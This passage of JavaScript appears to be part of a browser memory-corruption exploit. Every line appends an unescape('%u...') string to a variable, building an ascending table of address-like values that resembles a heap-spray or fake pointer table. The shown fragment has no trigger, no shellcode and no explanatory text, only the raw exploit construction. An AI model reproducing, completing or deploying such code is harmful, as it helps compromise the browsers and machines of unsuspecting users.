|
||||
str += unescape("%u0000%u4340%u0000%u4344%u0000%u4348%u0000%u434c%u0000%u4350%u0000%u4354%u0000%u4358%u0000%u435c%u0000%u4360%u0000%u4364%u0000%u4368%u0000%u436c%u0000%u4370%u0000%u4374%u0000%u4378%u0000%u437c");
|
||||
str += unescape("%u0000%u4380%u0000%u4384%u0000%u4388%u0000%u438c%u0000%u4390%u0000%u4394%u0000%u4398%u0000%u439c%u0000%u43a0%u0000%u43a4%u0000%u43a8%u0000%u43ac%u0000%u43b0%u0000%u43b4%u0000%u43b8%u0000%u43bc");
|
||||
str += unescape("%u0000%u43c0%u0000%u43c4%u0000%u43c8%u0000%u43cc%u0000%u43d0%u0000%u43d4%u0000%u43d8%u0000%u43dc%u0000%u43e0%u0000%u43e4%u0000%u43e8%u0000%u43ec%u0000%u43f0%u0000%u43f4%u0000%u43f8%u0000%u43fc");
|
||||
str += unescape("%u0000%u4400%u0000%u4404%u0000%u4408%u0000%u440c%u0000%u4410%u0000%u4414%u0000%u4418%u0000%u441c%u0000%u4420%u0000%u4424%u0000%u4428%u0000%u442c%u0000%u4430%u0000%u4434%u0000%u4438%u0000%u443c");
|
||||
str += unescape("%u0000%u4440%u0000%u4444%u0000%u4448%u0000%u444c%u0000%u4450%u0000%u4454%u0000%u4458%u0000%u445c%u0000%u4460%u0000%u4464%u0000%u4468%u0000%u446c%u0000%u4470%u0000%u4474%u0000%u4478%u0000%u447c");
|
||||
str += unescape("%u0000%u4480%u0000%u4484%u0000%u4488%u0000%u448c%u0000%u4490%u0000%u4494%u0000%u4498%u0000%u449c%u0000%u44a0%u0000%u44a4%u0000%u44a8%u0000%u44ac%u0000%u44b0%u0000%u44b4%u0000%u44b8%u0000%u44bc");
|
||||
str += unescape("%u0000%u44c0%u0000%u44c4%u0000%u44c8%u0000%u44cc%u0000%u44d0%u0000%u44d4%u0000%u44d8%u0000%u44dc%u0000%u44e0%u0000%u44e4%u0000%u44e8%u0000%u44ec%u0000%u44f0%u0000%u44f4%u0000%u44f8%u0000%u44fc");
|
||||
str += unescape("%u0000%u4500%u0000%u4504%u0000%u4508%u0000%u450c%u0000%u4510%u0000%u4514%u0000%u4518%u0000%u451c%u0000%u4520%u0000%u4524%u0000%u4528%u0000%u452c%u0000%u4530%u0000%u4534%u0000%u4538%u0000%u453c");
|
||||
str += unescape("%u0000%u4540%u0000%u4544%u0000%u4548%u0000%u454c%u0000%u4550%u0000%u4554%u0000%u4558%u0000%u455c%u0000%u4560%u0000%u4564%u0000%u4568%u0000%u456c%u0000%u4570%u0000%u4574%u0000%u4578%u0000%u457c");
|
||||
str += unescape("%u0000%u4580%u0000%u4584%u0000%u4588%u0000%u458c%u0000%u4590%u0000%u4594%u0000%u4598%u0000%u459c%u0000%u45a0%u0000%u45a4%u0000%u45a8%u0000%u45ac%u0000%u45b0%u0000%u45b4%u0000%u45b8%u0000%u45bc");
|
||||
str += unescape("%u0000%u45c0%u0000%u45c4%u0000%u45c8%u0000%u45cc%u0000%u45d0%u0000%u45d4%u0000%u45d8%u0000%u45dc%u0000%u45e0%u0000%u45e4%u0000%u45e8%u0000%u45ec%u0000%u45f0%u0000%u45f4%u0000%u45f8%u0000%u45fc");
|
||||
str += unescape("%u0000%u4600%u0000%u4604%u0000%u4608%u0000%u460c%u0000%u4610%u0000%u4614%u0000%u4618%u0000%u461c%u0000%u4620%u0000%u4624%u0000%u4628%u0000%u462c%u0000%u4630%u0000%u4634%u0000%u4638%u0000%u463c");
|
||||
str += unescape("%u0000%u4640%u0000%u4644%u0000%u4648%u0000%u464c%u0000%u4650%u0000%u4654%u0000%u4658%u0000%u465c%u0000%u4660%u0000%u4664%u0000%u4668%u0000%u466c%u0000%u4670%u0000%u4674%u0000%u4678%u0000%u467c");
|
||||
str += unescape("%u0000%u4680%u0000%u4684%u0000%u4688%u0000%u468c%u0000%u4690%u0000%u4694%u0000%u4698%u0000%u469c%u0000%u46a0%u0000%u46a4%u0000%u46a8%u0000%u46ac%u0000%u46b0%u0000%u46b4%u0000%u46b8%u0000%u46bc");
|
||||
str += unescape("%u0000%u46c0%u0000%u46c4%u0000%u46c8%u0000%u46cc%u0000%u46d0%u0000%u46d4%u0000%u46d8%u0000%u46dc%u0000%u46e0%u0000%u46e4%u0000%u46e8%u0000%u46ec%u0000%u46f0%u0000%u46f4%u0000%u46f8%u0000%u46fc");
|
||||
str += unescape("%u0000%u4700%u0000%u4704%u0000%u4708%u0000%u470c%u0000%u4710%u0000%u4714%u0000%u4718%u0000%u471c%u0000%u4720%u0000%u4724%u0000%u4728%u0000%u472c%u0000%u4730%u0000%u4734%u0000%u4738%u0000%u473c");
|
||||
str += unescape("%u0000%u4740%u0000%u4744%u0000%u4748%u0000%u474c%u0000%u4750%u0000%u4754%u0000%u4758%u0000%u475c%u0000%u4760%u0000%u4764%u0000%u4768%u0000%u476c%u0000%u4770%u0000%u4774%u0000%u4778%u0000%u477c");
|
||||
str += unescape("%u0000%u4780%u0000%u4784%u0000%u4788%u0000%u478c%u0000%u4790%u0000%u4794%u0000%u4798%u0000%u479c%u0000%u47a0%u0000%u47a4%u0000%u47a8%u0000%u47ac%u0000%u47b0%u0000%u47b4%u0000%u47b8%u0000%u47bc");
|
||||
str += unescape("%u0000%u47c0%u0000%u47c4%u0000%u47c8%u0000%u47cc%u0000%u47d0%u0000%u47d4%u0000%u47d8%u0000%u47dc%u0000%u47e0%u0000%u47e4%u0000%u47e8%u0000%u47ec%u0000%u47f0%u0000%u47f4%u0000%u47f8%u0000%u47fc");
|
||||
str += unescape("%u0000%u4800%u0000%u4804%u0000%u4808%u0000%u480c%u0000%u4810%u0000%u4814%u0000%u4818%u0000%u481c%u0000%u4820%u0000%u4824%u0000%u4828%u0000%u482c%u0000%u4830%u0000%u4834%u0000%u4838%u0000%u483c");
|
||||
str += unescape("%u0000%u4840%u0000%u4844%u0000%u4848%u0000%u484c%u0000%u4850%u0000%u4854%u0000%u4858%u0000%u485c%u0000%u4860%u0000%u4864%u0000%u4868%u0000%u486c%u0000%u4870%u0000%u4874%u0000%u4878%u0000%u487c");
|
||||
str += unescape("%u0000%u4880%u0000%u4884%u0000%u4888%u0000%u488c%u0000%u4890%u0000%u4894%u0000%u4898%u0000%u489c%u0000%u48a0%u0000%u48a4%u0000%u48a8%u0000%u48ac%u0000%u48b0%u0000%u48b4%u0000%u48b8%u0000%u48bc");
|
||||
str += unescape("%u0000%u48c0%u0000%u48c4%u0000%u48c8%u0000%u48cc%u0000%u48d0%u0000%u48d4%u0000%u48d8%u0000%u48dc%u0000%u48e0%u0000%u48e4%u0000%u48e8%u0000%u48ec%u0000%u48f0%u0000%u48f4%u0000%u48f8%u0000%u48fc");
|
||||
str += unescape("%u0000%u4900%u0000%u4904%u0000%u4908%u0000%u490c%u0000%u4910%u0000%u4914%u0000%u4918%u0000%u491c%u0000%u4920%u0000%u4924%u0000%u4928%u0000%u492c%u0000%u4930%u0000%u4934%u0000%u4938%u0000%u493c");
|
||||
str += unescape("%u0000%u4940%u0000%u4944%u0000%u4948%u0000%u494c%u0000%u4950%u0000%u4954%u0000%u4958%u0000%u495c%u0000%u4960%u0000%u4964%u0000%u4968%u0000%u496c%u0000%u4970%u0000%u4974%u0000%u4978%u0000%u497c");
|
||||
str += unescape("%u0000%u4980%u0000%u4984%u0000%u4988%u0000%u498c%u0000%u4990%u0000%u4994%u0000%u4998%u0000%u499c%u0000%u49a0%u0000%u49a4%u0000%u49a8%u0000%u49ac%u0000%u49b0%u0000%u49b4%u0000%u49b8%u0000%u49bc");
|
||||
str += unescape("%u0000%u49c0%u0000%u49c4%u0000%u49c8%u0000%u49cc%u0000%u49d0%u0000%u49d4%u0000%u49d8%u0000%u49dc%u0000%u49e0%u0000%u49e4%u0000%u49e8%u0000%u49ec%u0000%u49f0%u0000%u49f4%u0000%u49f8%u0000%u49fc");
|
||||
str += unescape("%u0000%u4a00%u0000%u4a04%u0000%u4a08%u0000%u4a0c%u0000%u4a10%u0000%u4a14%u0000%u4a18%u0000%u4a1c%u0000%u4a20%u0000%u4a24%u0000%u4a28%u0000%u4a2c%u0000%u4a30%u0000%u4a34%u0000%u4a38%u0000%u4a3c");
|
||||
str += unescape("%u0000%u4a40%u0000%u4a44%u0000%u4a48%u0000%u4a4c%u0000%u4a50%u0000%u4a54%u0000%u4a58%u0000%u4a5c%u0000%u4a60%u0000%u4a64%u0000%u4a68%u0000%u4a6c%u0000%u4a70%u0000%u4a74%u0000%u4a78%u0000%u4a7c");
|
||||
str += unescape("%u0000%u4a80%u0000%u4a84%u0000%u4a88%u0000%u4a8c%u0000%u4a90%u0000%u4a94%u0000%u4a98%u0000%u4a9c%u0000%u4aa0%u0000%u4aa4%u0000%u4aa8%u0000%u4aac%u0000%u4ab0%u0000%u4ab4%u0000%u4ab8%u0000%u4abc");
|
||||
str += unescape("%u0000%u4ac0%u0000%u4ac4%u0000%u4ac8%u0000%u4acc%u0000%u4ad0%u0000%u4ad4%u0000%u4ad8%u0000%u4adc%u0000%u4ae0%u0000%u4ae4%u0000%u4ae8%u0000%u4aec%u0000%u4af0%u0000%u4af4%u0000%u4af8%u0000%u4afc");
|
||||
str += unescape("%u0000%u4b00%u0000%u4b04%u0000%u4b08%u0000%u4b0c%u0000%u4b10%u0000%u4b14%u0000%u4b18%u0000%u4b1c%u0000%u4b20%u0000%u4b24%u0000%u4b28%u0000%u4b2c%u0000%u4b30%u0000%u4b34%u0000%u4b38%u0000%u4b3c");
|
||||
str += unescape("%u0000%u4b40%u0000%u4b44%u0000%u4b48%u0000%u4b4c%u0000%u4b50%u0000%u4b54%u0000%u4b58%u0000%u4b5c%u0000%u4b60%u0000%u4b64%u0000%u4b68%u0000%u4b6c%u0000%u4b70%u0000%u4b74%u0000%u4b78%u0000%u4b7c");
|
||||
str += unescape("%u0000%u4b80%u0000%u4b84%u0000%u4b88%u0000%u4b8c%u0000%u4b90%u0000%u4b94%u0000%u4b98%u0000%u4b9c%u0000%u4ba0%u0000%u4ba4%u0000%u4ba8%u0000%u4bac%u0000%u4bb0%u0000%u4bb4%u0000%u4bb8%u0000%u4bbc");
|
||||
str += unescape("%u0000%u4bc0%u0000%u4bc4%u0000%u4bc8%u0000%u4bcc%u0000%u4bd0%u0000%u4bd4%u0000%u4bd8%u0000%u4bdc%u0000%u4be0%u0000%u4be4%u0000%u4be8%u0000%u4bec%u0000%u4bf0%u0000%u4bf4%u0000%u4bf8%u0000%u4bfc");
|
||||
str += unescape("%u0000%u4c00%u0000%u4c04%u0000%u4c08%u0000%u4c0c%u0000%u4c10%u0000%u4c14%u0000%u4c18%u0000%u4c1c%u0000%u4c20%u0000%u4c24%u0000%u4c28%u0000%u4c2c%u0000%u4c30%u0000%u4c34%u0000%u4c38%u0000%u4c3c");
|
||||
str += unescape("%u0000%u4c40%u0000%u4c44%u0000%u4c48%u0000%u4c4c%u0000%u4c50%u0000%u4c54%u0000%u4c58%u0000%u4c5c%u0000%u4c60%u0000%u4c64%u0000%u4c68%u0000%u4c6c%u0000%u4c70%u0000%u4c74%u0000%u4c78%u0000%u4c7c");
|
||||
str += unescape("%u0000%u4c80%u0000%u4c84%u0000%u4c88%u0000%u4c8c%u0000%u4c90%u0000%u4c94%u0000%u4c98%u0000%u4c9c%u0000%u4ca0%u0000%u4ca4%u0000%u4ca8%u0000%u4cac%u0000%u4cb0%u0000%u4cb4%u0000%u4cb8%u0000%u4cbc");
|
||||
str += unescape("%u0000%u4cc0%u0000%u4cc4%u0000%u4cc8%u0000%u4ccc%u0000%u4cd0%u0000%u4cd4%u0000%u4cd8%u0000%u4cdc%u0000%u4ce0%u0000%u4ce4%u0000%u4ce8%u0000%u4cec%u0000%u4cf0%u0000%u4cf4%u0000%u4cf8%u0000%u4cfc");
|
||||
str += unescape("%u0000%u4d00%u0000%u4d04%u0000%u4d08%u0000%u4d0c%u0000%u4d10%u0000%u4d14%u0000%u4d18%u0000%u4d1c%u0000%u4d20%u0000%u4d24%u0000%u4d28%u0000%u4d2c%u0000%u4d30%u0000%u4d34%u0000%u4d38%u0000%u4d3c");
|
||||
str += unescape("%u0000%u4d40%u0000%u4d44%u0000%u4d48%u0000%u4d4c%u0000%u4d50%u0000%u4d54%u0000%u4d58%u0000%u4d5c%u0000%u4d60%u0000%u4d64%u0000%u4d68%u0000%u4d6c%u0000%u4d70%u0000%u4d74%u0000%u4d78%u0000%u4d7c");
|
||||
str += unescape("%u0000%u4d80%u0000%u4d84%u0000%u4d88%u0000%u4d8c%u0000%u4d90%u0000%u4d94%u0000%u4d98%u0000%u4d9c%u0000%u4da0%u0000%u4da4%u0000%u4da8%u0000%u4dac%u0000%u4db0%u0000%u4db4%u0000%u4db8%u0000%u4dbc");
|
||||
str += unescape("%u0000%u4dc0%u0000%u4dc4%u0000%u4dc8%u0000%u4dcc%u0000%u4dd0%u0000%u4dd4%u0000%u4dd8%u0000%u4ddc%u0000%u4de0%u0000%u4de4%u0000%u4de8%u0000%u4dec%u0000%u4df0%u0000%u4df4%u0000%u4df8%u0000%u4dfc");
|
||||
str += unescape("%u0000%u4e00%u0000%u4e04%u0000%u4e08%u0000%u4e0c%u0000%u4e10%u0000%u4e14%u0000%u4e18%u0000%u4e1c%u0000%u4e20%u0000%u4e24%u0000%u4e28%u0000%u4e2c%u0000%u4e30%u0000%u4e34%u0000%u4e38%u0000%u4e3c");
|
||||
str += unescape("%u0000%u4e40%u0000%u4e44%u0000%u4e48%u0000%u4e4c%u0000%u4e50%u0000%u4e54%u0000%u4e58%u0000%u4e5c%u0000%u4e60%u0000%u4e64%u0000%u4e68%u0000%u4e6c%u0000%u4e70%u0000%u4e74%u0000%u4e78%u0000%u4e7c");
|
||||
str += unescape("%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc");
|
||||
str += unescape("%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc");
|
||||
str += unescape("%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c");
|
||||
str += unescape("%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c");
|
||||
str += unescape("%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc");
|
||||
str += unescape("%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc");
|
||||
str += unescape("%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c");
|
||||
str += unescape("%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c");
|
||||
str += unescape("%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc");
|
||||
str += unescape("%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc");
|
||||
str += unescape("%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c");
|
||||
str += unescape("%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c");
|
||||
str += unescape("%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc");
|
||||
str += unescape("%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc");
|
||||
str += unescape("%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c");
|
||||
str += unescape("%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c");
|
||||
str += unescape("%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc");
|
||||
str += unescape("%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc");
|
||||
str += unescape("%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c");
|
||||
str += unescape("%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c");
|
||||
str += unescape("%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc");
|
||||
str += unescape("%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc");
|
||||
str += unescape("%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c");
|
||||
str += unescape("%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c");
|
||||
str += unescape("%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc");
|
||||
str += unescape("%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc");
|
||||
str += unescape("%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c");
|
||||
str += unescape("%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c");
|
||||
str += unescape("%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc");
|
||||
str += unescape("%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc");
|
||||
str += unescape("%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c");
|
||||
str += unescape("%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c");
|
||||
str += unescape("%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc");
|
||||
str += unescape("%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc");
|
||||
str += unescape("%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c");
|
||||
str += unescape("%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c");
|
||||
str += unescape("%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc");
|
||||
str += unescape("%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc");
|
||||
str += unescape("%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c");
|
||||
str += unescape("%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c");
|
||||
str += unescape("%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc");
|
||||
str += unescape("%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc");
|
||||
str += unescape("%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c");
|
||||
str += unescape("%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c");
|
||||
str += unescape("%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc");
|
||||
str += unescape("%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc");
|
||||
str += unescape("%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c");
|
||||
str += unescape("%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c");
|
||||
str += unescape("%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc");
|
||||
str += unescape("%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc");
|
||||
str += unescape("%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c");
|
||||
str += unescape("%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c");
|
||||
str += unescape("%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc");
|
||||
